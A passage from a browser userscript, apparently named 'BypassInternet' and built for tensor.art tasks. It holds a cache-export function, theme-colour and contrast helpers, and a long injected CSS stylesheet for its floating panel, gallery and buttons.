fallback.style.cssText = `background:${colors.bgTertiary}; padding:12px; border-radius:10px; font-size:11px; color:${colors.textSecondary}; white-space:pre-wrap; word-break:break-word; overflow:visible;`;
fallback.textContent = JSON.stringify(taskDraft, null, 2);
content.appendChild(fallback);
}
appendActionRow();
};
render();
dialog.appendChild(header);
dialog.appendChild(content);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) close();
};
document.body.appendChild(overlay);
}
function exportCache(format) {
const cache = loadCache();
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
let content = '';
let filename = '';
let mimeType = '';
if (format === 'json') {
content = JSON.stringify(cache, null, 2);
filename = `bypass-cache-${timestamp}.json`;
mimeType = 'application/json';
} else if (format === 'csv') {
// CSV format
const lines = ['Task ID,Tool Name,Created At,Expire At,Source,Items Count'];
cache.tasks.forEach(task => {
const toolName = task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || 'Unknown';
const itemsCount = task.items?.length || 0;
lines.push(`"${task.taskId}","${toolName}","${task.createdAt}","${task.expireAt}","${task.source || 'tensor.art'}",${itemsCount}`);
});
content = lines.join('\n');
filename = `bypass-cache-${timestamp}.csv`;
mimeType = 'text/csv';
} else if (format === 'txt') {
// Text format
const lines = ['BypassInternet Cache Export', `Generated: ${new Date().toLocaleString()}`, '', 'TASKS:', ''];
cache.tasks.forEach(task => {
lines.push(`Task ID: ${task.taskId}`);
lines.push(` Tool: ${task?.workflowTemplateInfo?.name || task?.workflowInfo?.name || 'Unknown'}`);
lines.push(` Created: ${task.createdAt}`);
lines.push(` Items: ${task.items?.length || 0}`);
lines.push('');
});
content = lines.join('\n');
filename = `bypass-cache-${timestamp}.txt`;
mimeType = 'text/plain';
}
// Download the file
const blob = new Blob([content], { type: mimeType });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
showToast(`Exported as ${filename}`, 'success');
}
function getThemeColors() {
if (settings.inheritTheme) {
const css = getComputedStyle(document.documentElement);
const bodyCss = getComputedStyle(document.body || document.documentElement);
const pick = (...values) => values.map(v => String(v || '').trim()).find(Boolean) || '';
const parseColor = (value) => {
const v = String(value || '').trim();
if (!v || v === 'transparent') return null;
const rgb = v.match(/^rgba?\(([^)]+)\)$/i);
if (rgb) {
const parts = rgb[1].split(',').map(p => Number(String(p).trim())).filter(Number.isFinite);
if (parts.length >= 3) return { r: parts[0], g: parts[1], b: parts[2] };
}
const hex = v.match(/^#([0-9a-f]{3,8})$/i);
if (hex) {
const h = hex[1];
if (h.length === 3) {
return {
r: parseInt(h[0] + h[0], 16),
g: parseInt(h[1] + h[1], 16),
b: parseInt(h[2] + h[2], 16)
};
}
if (h.length >= 6) {
return {
r: parseInt(h.slice(0, 2), 16),
g: parseInt(h.slice(2, 4), 16),
b: parseInt(h.slice(4, 6), 16)
};
}
}
return null;
};
const luminance = (c) => {
if (!c) return 0;
const norm = [c.r, c.g, c.b].map((x) => {
const n = x / 255;
return n <= 0.03928 ? n / 12.92 : Math.pow((n + 0.055) / 1.055, 2.4);
});
return (0.2126 * norm[0]) + (0.7152 * norm[1]) + (0.0722 * norm[2]);
};
const contrastRatio = (a, b) => {
const l1 = luminance(parseColor(a));
const l2 = luminance(parseColor(b));
const max = Math.max(l1, l2);
const min = Math.min(l1, l2);
return (max + 0.05) / (min + 0.05);
};
const bgPrimary = pick(css.getPropertyValue('--background-primary'), css.getPropertyValue('--bg-color'), '#0f172a');
const bgSecondary = pick(css.getPropertyValue('--background-on-primary'), css.getPropertyValue('--card-bg-color'), '#1e293b');
const borderColor = pick(css.getPropertyValue('--stroke-secondary'), css.getPropertyValue('--border-color'), '#475569');
const accent = pick(css.getPropertyValue('--color-main'), css.getPropertyValue('--primary-color'), '#6366f1');
let textPrimary = pick(css.getPropertyValue('--text-primary'), css.getPropertyValue('--text-color-primary'), bodyCss.color, '#f1f5f9');
let textSecondary = pick(css.getPropertyValue('--text-secondary'), css.getPropertyValue('--text-color-secondary'), '#cbd5e1');
if (contrastRatio(textPrimary, bgPrimary) < 2.8) {
const bgLum = luminance(parseColor(bgPrimary));
textPrimary = bgLum < 0.5 ? '#f1f5f9' : '#0f172a';
}
if (contrastRatio(textSecondary, bgSecondary) < 2.2) {
const bgLum = luminance(parseColor(bgSecondary));
textSecondary = bgLum < 0.5 ? '#cbd5e1' : '#334155';
}
return {
primary: accent,
primaryHover: accent,
bg: bgPrimary,
bgSecondary,
bgTertiary: pick(css.getPropertyValue('--background-tertiary'), '#334155'),
text: textPrimary,
textSecondary,
border: borderColor,
success: pick(css.getPropertyValue('--color-success'), '#10b981'),
error: pick(css.getPropertyValue('--color-error'), '#ef4444'),
warning: pick(css.getPropertyValue('--text-yellow'), '#f59e0b')
};
}
return designSystem[settings.theme];
}
function injectStyles() {
const colors = getThemeColors();
let style = document.getElementById('bypass-styles');
if (!style) {
style = document.createElement('style');
style.id = 'bypass-styles';
document.head.appendChild(style);
}
const nextCss = `
* {
box-sizing: border-box;
}
@keyframes slideInDown {
from { opacity: 0; transform: translateY(-20px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes slideInUp {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes fadeIn {
from { opacity: 0; }
to { opacity: 1; }
}
@keyframes shimmer {
0%, 100% { opacity: 0.6; }
50% { opacity: 1; }
}
@keyframes smoothBounce {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(-2px); }
}
.bypass-container {
all: revert;
position: fixed;
z-index: 99999;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
font-size: 14px;
-webkit-user-select: none;
user-select: none;
background: ${colors.bg};
color: ${colors.text};
border: 1px solid ${colors.border};
border-radius: 22px;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.35);
overflow: hidden;
display: flex;
flex-direction: column;
transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1);
backdrop-filter: blur(20px);
animation: none;
}
.bypass-container.bypass-move-armed {
cursor: grab;
box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.38), 0 26px 80px rgba(0, 0, 0, 0.45);
}
.bypass-container.bypass-fullscreen {
top: 0 !important;
left: 0 !important;
right: 0 !important;
bottom: 0 !important;
width: 100vw !important;
height: 100vh !important;
transform: none !important;
border-radius: 0 !important;
}
.bypass-container.bypass-fullscreen:hover {
transform: none;
}
.bypass-container:hover {
box-shadow: 0 30px 80px rgba(0, 0, 0, 0.4);
transform: translateY(-2px);
}
.bypass-header {
background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
padding: 20px;
display: flex;
align-items: center;
justify-content: space-between;
cursor: move;
user-select: none;
flex-shrink: 0;
box-shadow: 0 4px 20px rgba(99, 102, 241, 0.15);
position: relative;
}
.bypass-header::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 1px;
background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
}
.bypass-header-title {
display: flex;
align-items: center;
gap: 12px;
font-weight: 700;
color: white;
font-size: 16px;
margin: 0;
letter-spacing: 0.5px;
}
.bypass-header-icon {
font-size: 20px;
animation: smoothBounce 3s infinite;
}
.bypass-header-actions {
display: flex;
gap: 10px;
align-items: center;
}
.bypass-header-message {
margin: 8px 0 0 28px;
padding: 6px 10px;
border-radius: 999px;
font-size: 11px;
font-weight: 800;
letter-spacing: 0.25px;
display: none;
align-items: center;
gap: 8px;
background: rgba(15, 23, 42, 0.28);
border: 1px solid rgba(255, 255, 255, 0.25);
color: rgba(255, 255, 255, 0.95);
max-width: 520px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.bypass-header-message.is-required {
background: rgba(239, 68, 68, 0.18);
border-color: rgba(239, 68, 68, 0.55);
}
.bypass-btn-icon {
background: rgba(255, 255, 255, 0.15);
border: 1px solid rgba(255, 255, 255, 0.2);
color: white;
width: 36px;
height: 36px;
border-radius: 8px;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
font-size: 16px;
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
backdrop-filter: blur(10px);
}
.bypass-btn-icon:hover {
background: rgba(255, 255, 255, 0.25);
transform: scale(1.08);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);
}
.bypass-btn-icon:active {
transform: scale(0.95);
}
.bypass-btn-icon.is-active {
background: rgba(255, 255, 255, 0.28);
border-color: rgba(255, 255, 255, 0.45);
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.22);
}
.bypass-dev-subtabs {
display: flex;
gap: 8px;
align-items: center;
justify-content: space-between;
padding: 10px 12px;
border: 1px solid rgba(148,163,184,0.25);
border-radius: 12px;
background: rgba(15,23,42,0.35);
}
.bypass-dev-subtab-group {
display: flex;
gap: 8px;
align-items: center;
flex-wrap: wrap;
}
.bypass-dev-subtab-btn {
border: 1px solid rgba(148,163,184,0.35);
background: rgba(51,65,85,0.25);
color: ${colors.textSecondary};
border-radius: 10px;
padding: 7px 10px;
cursor: pointer;
font-size: 11px;
font-weight: 700;
letter-spacing: 0.4px;
text-transform: uppercase;
display: inline-flex;
gap: 8px;
align-items: center;
transition: all 0.18s ease;
}
.bypass-dev-subtab-btn:hover {
border-color: rgba(99,102,241,0.7);
color: ${colors.text};
background: rgba(99,102,241,0.12);
}
.bypass-dev-subtab-btn.active {
border-color: rgba(99,102,241,0.9);
color: ${colors.text};
background: rgba(99,102,241,0.18);
box-shadow: 0 8px 22px rgba(99,102,241,0.12);
}
.bypass-inject-editor .CodeMirror {
height: 100% !important;
}
/* Custom scrollbars for the inject editor overlay (it sits outside .bypass-container) */
.bypass-inject-editor * {
scrollbar-width: thin;
scrollbar-color: rgba(99, 102, 241, 0.55) rgba(15, 23, 42, 0.15);
}
.bypass-inject-editor *::-webkit-scrollbar {
width: 10px;
height: 10px;
}
.bypass-inject-editor *::-webkit-scrollbar-track {
background: rgba(15, 23, 42, 0.12);
border-radius: 999px;
}
.bypass-inject-editor *::-webkit-scrollbar-thumb {
background: linear-gradient(180deg, rgba(99, 102, 241, 0.7), rgba(14, 165, 233, 0.5));
border-radius: 999px;
border: 2px solid rgba(15, 23, 42, 0.22);
}
.bypass-inject-editor *::-webkit-scrollbar-thumb:hover {
background: linear-gradient(180deg, rgba(99, 102, 241, 0.9), rgba(14, 165, 233, 0.7));
}
.bypass-code-error-line {
background: rgba(239, 68, 68, 0.18) !important;
}
.bypass-resize-handle {
position: absolute;
bottom: 0;
right: 0;
width: 16px;
height: 16px;
cursor: se-resize;
opacity: 0.5;
transition: opacity 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
.bypass-resize-handle:hover {
opacity: 1;
}
.bypass-resize-handle::after {
content: '';
position: absolute;
bottom: 3px;
right: 3px;
width: 5px;
height: 5px;
border-right: 2px solid ${colors.textSecondary};
border-bottom: 2px solid ${colors.textSecondary};
opacity: 0.7;
}
.bypass-tabs {
display: flex;
background: ${colors.bg};
border-bottom: 1px solid ${colors.border};
gap: 0;
flex-shrink: 0;
padding: 0 8px;
overflow-x: auto;
overflow-y: hidden;
scrollbar-width: none; /* Firefox */
-ms-overflow-style: none; /* IE/Edge */
}
.bypass-tabs.bypass-tabs-external {
gap: 8px;
padding: 8px 10px 0;
align-items: flex-end;
}
.bypass-tabs::-webkit-scrollbar {
display: none; /* Chrome/Safari/Opera */
}
.bypass-tab {
flex: 1;
padding: 14px 20px;
background: none;
border: none;
color: ${colors.textSecondary};
cursor: pointer;
font-weight: 600;
font-size: 13px;
transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
position: relative;
text-transform: uppercase;
letter-spacing: 0.6px;
border-radius: 8px 8px 0 0;
margin: 4px 0 0 0;
}
.bypass-tabs.bypass-tabs-external .bypass-tab {
flex: 0 0 auto;
min-width: max-content;
white-space: nowrap;
padding: 12px 16px;
margin: 0;
border-radius: 12px 12px 0 0;
letter-spacing: 0.45px;
}
.bypass-tab:hover {
color: ${colors.text};
background: ${colors.bgSecondary};
}
.bypass-tab.active {
color: ${colors.primary};
background: ${colors.bgSecondary};
}
.bypass-tab.active::after {
content: '';
position: absolute;
bottom: -1px;
left: 20%;
right: 20%;
height: 3px;
background: linear-gradient(90deg, ${colors.primary}, ${colors.primaryHover});
border-radius: 3px 3px 0 0;
box-shadow: 0 -2px 8px rgba(99, 102, 241, 0.3);
}
.bypass-content {
flex: 1;
overflow-y: auto;
padding: 20px;
display: flex;
flex-direction: column;
gap: 16px;
background: ${colors.bg};
}
/* Services tab */
.bypass-services-header {
padding: 14px;
border-radius: 14px;
border: 1px solid ${colors.border};
background: ${colors.bgSecondary};
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
flex-wrap: wrap;
}
.bypass-services-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
gap: 12px;
}
.bypass-service-card {
text-align: left;
border-radius: 14px;
border: 1px solid ${colors.border};
background: ${colors.bgSecondary};
padding: 12px;
display: flex;
flex-direction: column;
gap: 10px;
cursor: pointer;
transition: transform 0.18s ease, box-shadow 0.18s ease, border-color 0.18s ease;
color: ${colors.text};
}
.bypass-service-card:hover {
transform: translateY(-3px);
border-color: rgba(99,102,241,0.85);
box-shadow: 0 14px 32px rgba(99,102,241,0.16);
}
.bypass-service-card:active {
transform: translateY(-1px);
}
.bypass-service-card-top {
display: flex;
gap: 12px;
align-items: flex-start;
}
.bypass-service-logo {
width: 44px;
height: 44px;
border-radius: 12px;
border: 1px solid ${colors.border};
background: rgba(15,23,42,0.25);
display: inline-flex;
align-items: center;
justify-content: center;
color: ${colors.textSecondary};
flex-shrink: 0;
overflow: hidden;
}
.bypass-service-logo img {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
.bypass-service-title {
font-weight: 900;
font-size: 13px;
color: ${colors.text};
line-height: 1.2;
margin: 0;
}
.bypass-service-meta {
margin-top: 6px;
display: flex;
flex-wrap: wrap;
gap: 8px;
align-items: center;
color: ${colors.textSecondary};
font-size: 11px;
}
.bypass-chip {
display: inline-flex;
align-items: center;
gap: 6px;
padding: 3px 10px;
border-radius: 999px;
border: 1px solid rgba(148,163,184,0.35);
background: rgba(51,65,85,0.25);
color: ${colors.textSecondary};
font-size: 10px;
font-weight: 900;
text-transform: uppercase;
letter-spacing: 0.35px;
}
.bypass-chip-success {
border-color: rgba(16,185,129,0.6);
background: rgba(16,185,129,0.12);
color: #bbf7d0;
}
.bypass-chip-warn {
border-color: rgba(245,158,11,0.65);
background: rgba(245,158,11,0.12);
color: #fde68a;
}
.bypass-chip-danger {
border-color: rgba(239,68,68,0.65);
background: rgba(239,68,68,0.12);
color: #fecaca;
}
.bypass-service-desc,
.bypass-service-links,
.bypass-service-caution {
padding: 14px;
border-radius: 14px;
border: 1px solid ${colors.border};
background: ${colors.bgSecondary};
}
.bypass-service-desc-body a {
color: #93c5fd;
text-decoration: none;
}
.bypass-service-desc-body a:hover {
text-decoration: underline;
}
.bypass-content::-webkit-scrollbar {
width: 8px;
}
.bypass-content::-webkit-scrollbar-track {
background: transparent;
}
.bypass-content::-webkit-scrollbar-thumb {
background: ${colors.bgTertiary};
border-radius: 4px;
}
.bypass-content::-webkit-scrollbar-thumb:hover {
background: ${colors.border};
}
.bypass-container * {
scrollbar-width: thin;
scrollbar-color: ${colors.bgTertiary} transparent;
}
.bypass-container *::-webkit-scrollbar {
width: 8px;
height: 8px;
}
.bypass-container *::-webkit-scrollbar-track {
background: transparent;
}
.bypass-container *::-webkit-scrollbar-thumb {
background: ${colors.bgTertiary};
border-radius: 4px;
}
.bypass-container *::-webkit-scrollbar-thumb:hover {
background: ${colors.border};
}
.bypass-btn {
padding: 12px 18px;
border: none;
border-radius: 10px;
cursor: pointer;
font-weight: 600;
font-size: 13px;
transition: all 0.2s ease;
text-transform: uppercase;
letter-spacing: 0.5px;
width: 100%;
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
}
.bypass-btn:active {
transform: scale(0.96);
}
.bypass-btn-primary {
background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
color: white;
box-shadow: 0 6px 16px rgba(99, 102, 241, 0.25);
border: none;
}
.bypass-btn-primary:hover {
transform: translateY(-3px);
box-shadow: 0 10px 28px rgba(99, 102, 241, 0.4);
}
.bypass-btn-primary:disabled {
opacity: 0.6;
cursor: not-allowed;
transform: none;
}
.bypass-btn-danger {
background: linear-gradient(135deg, #ef4444, #dc2626);
color: white;
box-shadow: 0 6px 16px rgba(239, 68, 68, 0.25);
}
.bypass-btn-danger:hover {
transform: translateY(-3px);
box-shadow: 0 10px 28px rgba(239, 68, 68, 0.4);
}
.bypass-btn-secondary {
background: ${colors.bgSecondary};
color: ${colors.text};
border: 1px solid ${colors.border};
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}
.bypass-btn-secondary:hover {
background: ${colors.bgTertiary};
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.15);
}
.bypass-inline-actions {
display: flex;
gap: 8px;
flex-wrap: wrap;
align-items: center;
}
.bypass-inline-actions > .bypass-btn,
.bypass-inline-actions > button {
width: auto !important;
flex: 0 0 auto;
white-space: nowrap;
}
/* Action Buttons - Icon Only Horizontal Layout */
.bypass-action-buttons {
display: flex;
gap: 12px;
justify-content: center;
align-items: center;
flex-wrap: wrap;
padding: 10px 12px;
border: 1px solid ${colors.border};
border-radius: 12px;
background: ${colors.bgSecondary};
margin-top: 12px;
}
.bypass-action-btn {
transition: transform 0.15s ease, box-shadow 0.15s ease, background 0.15s ease;
}
.bypass-action-btn {
width: 44px;
height: 44px;
min-width: 44px;
padding: 10px;
border: none;
border-radius: 8px;
cursor: pointer;
font-size: 16px;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.15s ease;
position: relative;
}
.bypass-action-btn i {
display: block;
}
.bypass-action-btn .bypass-action-label {
display: none;
}
.bypass-action-btn-primary {
background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
color: white;
box-shadow: 0 6px 16px rgba(99, 102, 241, 0.25);
}
.bypass-action-btn-primary:hover {
transform: translateY(-2px);
box-shadow: 0 8px 20px rgba(99, 102, 241, 0.35);
}
.bypass-action-btn-secondary {
background: ${colors.bgSecondary};
color: ${colors.text};
border: 1px solid ${colors.border};
}
.bypass-action-btn-secondary:hover {
background: ${colors.bgTertiary};
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
}
.bypass-action-btn-danger {
background: rgba(239, 68, 68, 0.1);
color: #ef4444;
border: 1px solid #ef4444;
}
.bypass-action-btn-danger:hover {
background: linear-gradient(135deg, #ef4444, #dc2626);
color: white;
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(239, 68, 68, 0.3);
}
.bypass-action-btn:disabled {
opacity: 0.6;
cursor: not-allowed;
transform: none;
}
.bypass-item-card {
background: ${colors.bgSecondary};
border: 1px solid ${colors.border};
border-radius: 12px;
padding: 14px;
display: flex;
flex-direction: column;
gap: 12px;
transition: all 0.2s ease;
animation: slideInUp 0.5s ease-out;
min-width: 0;
overflow: hidden;
}
.bypass-item-card:hover {
border-color: ${colors.primary};
background: ${colors.bgSecondary};
box-shadow: 0 12px 32px rgba(99, 102, 241, 0.15);
transform: translateY(-4px);
}
.bypass-item-card.selected {
border-color: ${colors.primary};
box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.35);
background: ${colors.bgTertiary};
}
.bypass-item-header {
display: flex;
justify-content: space-between;
align-items: center;
gap: 12px;
}
.bypass-item-id {
font-weight: 600;
color: ${colors.text};
font-size: 12px;
font-family: 'Monaco', 'Courier New', monospace;
word-break: break-all;
}
.bypass-item-type {
background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
color: white;
padding: 4px 12px;
border-radius: 8px;
font-size: 10px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.4px;
box-shadow: 0 3px 10px rgba(99, 102, 241, 0.25);
white-space: nowrap;
}
.bypass-item-preview {
width: 100%;
border-radius: 10px;
max-height: 200px;
object-fit: contain;
background: ${colors.bg};
border: 1px solid ${colors.border};
transition: all 0.3s ease;
}
.bypass-item-preview:hover {
border-color: ${colors.primary};
}
.bypass-item-buttons {
display: flex;
gap: 10px;
justify-content: stretch;
flex-wrap: wrap;
}
.bypass-item-button {
flex: 1;
min-width: 80px;
padding: 9px 14px;
border: none;
border-radius: 8px;
cursor: pointer;
font-weight: 600;
font-size: 12px;
transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
}
.bypass-item-button:active {
transform: scale(0.95);
}
.bypass-item-button-download {
background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
color: white;
box-shadow: 0 5px 15px rgba(99, 102, 241, 0.3);
}
.bypass-item-button-download:hover {
transform: translateY(-3px);
box-shadow: 0 8px 20px rgba(99, 102, 241, 0.4);
}
.bypass-item-button-telegram {
background: linear-gradient(135deg, #0088cc, #005fa3);
color: white;
box-shadow: 0 4px 12px rgba(0, 136, 204, 0.3);
}
.bypass-item-button-telegram:hover {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(0, 136, 204, 0.4);
}
.bypass-item-button-telegram:active {
transform: translateY(0);
}
.bypass-gallery-view {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));
gap: 12px;
width: 100%;
}
.bypass-gallery-item {
position: relative;
border-radius: 8px;
overflow: hidden;
cursor: pointer;
transition: all 0.3s ease;
border: 1px solid ${colors.border};
background: ${colors.bg};
aspect-ratio: 1;
}
.bypass-gallery-item:hover {
border-color: ${colors.primary};
box-shadow: 0 8px 24px rgba(99, 102, 241, 0.3);
transform: scale(1.05);
}
.bypass-gallery-item.selected {
border-color: ${colors.primary};
box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.4);
}
.bypass-gallery-item-image {
width: 100%;
height: 100%;
object-fit: cover;
}
.bypass-gallery-item-badge {
position: absolute;
top: 8px;
right: 8px;
background: rgba(99, 102, 241, 0.9);
color: white;
padding: 4px 8px;
border-radius: 4px;
font-size: 10px;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.3px;
backdrop-filter: blur(5px);
}
.bypass-gallery-item-overlay {
position: absolute;
inset: 0;
background: linear-gradient(180deg, transparent 0%, rgba(0,0,0,0.8) 100%);
opacity: 0;
transition: opacity 0.3s ease;
display: flex;
align-items: flex-end;
padding: 12px;
}
.bypass-gallery-item:hover .bypass-gallery-item-overlay {
opacity: 1;
}
.bypass-gallery-item-id {
color: white;
font-size: 11px;
font-weight: 600;
word-break: break-all;
}
.bypass-dom-video {
width: 100%;
height: 100%;
background: ${colors.bg};
border-radius: 8px;
}
.bypass-item-loading {
text-align: center;
color: ${colors.textSecondary};
font-size: 12px;
padding: 8px;
animation: pulse 2s infinite;
}
@keyframes pulse {
0%, 100% { opacity: 0.6; }
50% { opacity: 1; }
}
.bypass-form-group {
display: flex;
flex-direction: column;
gap: 8px;
animation: slideInUp 0.5s ease-out;
}
.bypass-label {
color: ${colors.text};
font-weight: 600;
font-size: 13px;
display: flex;
align-items: center;
gap: 10px;
letter-spacing: 0.3px;
position: relative;
}
.bypass-tooltip-icon {
display: inline-flex;
align-items: center;
justify-content: center;
font-size: 12px;
cursor: help;
position: relative;
}
.bypass-hover-tooltip {
position: absolute;
bottom: 125%;
left: 50%;
transform: translateX(-50%);
background: ${settings.theme === 'dark' ? '#2d2d44' : '#333333'};
color: white;
padding: 8px 12px;
border-radius: 6px;
font-size: 11px;
white-space: normal;
max-width: 240px;
z-index: 10001;
pointer-events: none;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
}
.bypass-checkbox {
width: 20px;
height: 20px;
cursor: pointer;
accent-color: ${colors.primary};
transition: none;
}
.bypass-input,
.bypass-select {
background: ${colors.bgSecondary};
border: 1px solid ${colors.border};
color: ${colors.text};
padding: 10px 14px;
border-radius: 10px;
font-size: 13px;
transition: none;
font-family: 'Monaco', 'Courier New', monospace;
-webkit-appearance: none;
appearance: none;
user-select: text;
-webkit-user-select: text;
}
.bypass-input:focus,
.bypass-select:focus {
outline: none;
border-color: ${colors.primary};
box-shadow: 0 0 0 2px rgba(99, 102, 241, 0.15);
background: ${colors.bg};
}
.bypass-input:disabled {
opacity: 0.6;
cursor: not-allowed;
background: ${colors.bgTertiary};
}
.bypass-section-title {
color: ${colors.text};
font-weight: 700;
font-size: 13px;
text-transform: uppercase;
letter-spacing: 0.6px;
margin-top: 12px;
margin-bottom: 4px;
padding-bottom: 10px;
border-bottom: 2px solid ${colors.border};
display: flex;
align-items: center;
gap: 8px;
cursor: pointer;
user-select: none;
transition: color 0.15s ease;
}
.bypass-section-title:hover {
color: ${colors.primary};
}
.bypass-collapsible-section {
margin-bottom: 16px;
}
.bypass-section-content {
display: flex;
flex-direction: column;
gap: 12px;
max-height: 9999px;
overflow: hidden;
transition: max-height 0.35s ease, opacity 0.2s ease;
opacity: 1;
}
.bypass-settings-toggle-row {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 12px;
width: 100%;
min-width: 0;
padding: 10px 12px;
border: 1px solid ${colors.border};
border-radius: 10px;
background: ${colors.bgSecondary};
transition: border-color 0.18s ease, background-color 0.18s ease, transform 0.18s ease;
}
.bypass-settings-toggle-row:hover {
border-color: ${colors.primary};
background: ${colors.bg};
transform: translateY(-1px);
}
.bypass-settings-toggle-main {
display: flex;
align-items: flex-start;
gap: 10px;
min-width: 0;
flex: 1;
}
.bypass-settings-toggle-label {
display: inline-flex;
align-items: center;
gap: 8px;
min-width: 0;
line-height: 1.4;
overflow-wrap: anywhere;
}
.bypass-section-content.collapsed {
max-height: 0;
opacity: 0;
overflow: hidden;
}
.bypass-section-title .bypass-chevron {
display: inline-block;
transition: transform 0.15s ease;
margin-left: auto;
}
.bypass-section-title.collapsed .bypass-chevron {
transform: rotate(-90deg);
}
.bypass-empty-state {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 16px;
padding: 48px 24px;
text-align: center;
animation: fadeIn 0.6s ease-out;
}
.bypass-empty-icon {
font-size: 56px;
opacity: 0.25;
animation: slideInUp 0.6s ease-out 0.2s backwards;
}
.bypass-empty-text {
color: ${colors.textSecondary};
font-size: 14px;
line-height: 1.6;
max-width: 280px;
animation: slideInUp 0.6s ease-out 0.3s backwards;
}
.bypass-collapsed-btn {
position: fixed;
padding: 14px 28px;
background: linear-gradient(135deg, ${colors.primary}, ${colors.primaryHover});
color: white;
border: none;
border-radius: 50px;
cursor: pointer;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
font-weight: 700;
font-size: 14px;
box-shadow: 0 10px 30px rgba(99, 102, 241, 0.35);
z-index: 2147483647;
transition: all 0.4s cubic-bezier(0.4, 0, 0.2, 1);
display: flex;
align-items: center;
gap: 10px;
bottom: 20px;
right: 20px;
backdrop-filter: blur(20px);
border: 1px solid rgba(255, 255, 255, 0.2);
animation: slideInUp 0.6s cubic-bezier(0.34, 1.56, 0.64, 1);
pointer-events: auto;
}
.bypass-collapsed-btn.update-required {
background: linear-gradient(135deg, #ef4444, #dc2626);
box-shadow: 0 10px 30px rgba(239, 68, 68, 0.42);
border: 1px solid rgba(255, 255, 255, 0.25);
}
.bypass-collapsed-btn:hover {
transform: translateY(-6px);
box-shadow: 0 15px 40px rgba(99, 102, 241, 0.45);
}
.bypass-collapsed-btn.update-required:hover {
transform: translateY(-6px);
box-shadow: 0 15px 45px rgba(239, 68, 68, 0.52);
}
.bypass-collapsed-btn:active {
transform: translateY(-3px);
}
.bypass-badge {
position: absolute;
top: -8px;
right: -8px;
background: ${colors.error};
color: white;
border-radius: 50%;
width: 28px;
height: 28px;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
font-weight: bold;
border: 2px solid ${colors.bg};
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3);
}
.bypass-status-wrap {
position: relative;
}
.bypass-status-overlay {
position: absolute;
top: 10px;
right: 10px;
display: flex;
gap: 6px;
align-items: center;
padding: 6px 8px;
border-radius: 10px;
background: rgba(0, 0, 0, 0.55);
color: #f1f5f9;
font-size: 12px;
z-index: 50;
opacity: 0;
transform: translateY(-6px);
transition: all 0.2s ease;
backdrop-filter: blur(6px);
}
.bypass-status-wrap:hover .bypass-status-overlay {
opacity: 1;
transform: translateY(0);
}
.bypass-status-overlay i {
opacity: 0.9;
}
.bypass-blocked-wrap {
position: relative;
}
.bypass-blocked-tooltip {
position: absolute;
bottom: calc(100% + 10px);
left: 50%;
transform: translateX(-50%);
background: ${colors.bgSecondary};
color: ${colors.text};
border: 1px solid ${colors.border};
border-radius: 8px;
padding: 8px 10px;
padding-bottom: 12px;
font-size: 11px;
line-height: 1.4;
white-space: normal;
display: inline-block;
max-width: min(360px, 85vw);
min-width: 220px;
box-sizing: border-box;
word-break: break-word;
z-index: 120;
opacity: 0;
pointer-events: none;
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.35);
transition: opacity 0.2s ease, transform 0.2s ease;
}
.bypass-blocked-tooltip-floating {
position: fixed;
top: auto;
right: auto;
bottom: auto;
left: auto;
transform: none;
pointer-events: none;
z-index: 100000;
}
.bypass-blocked-wrap:hover .bypass-blocked-tooltip {
opacity: 1;
transform: translateX(-50%) translateY(-2px);
}
.bypass-tooltip-preview {
margin-top: 8px;
margin-bottom: 4px;
width: 180px;
height: 120px;
border-radius: 8px;
overflow: hidden;
border: 1px solid ${colors.border};
background: ${colors.bgTertiary};
display: flex;
align-items: center;
justify-content: center;
}
.bypass-tooltip-preview-placeholder {
font-size: 10px;
color: ${colors.textSecondary};
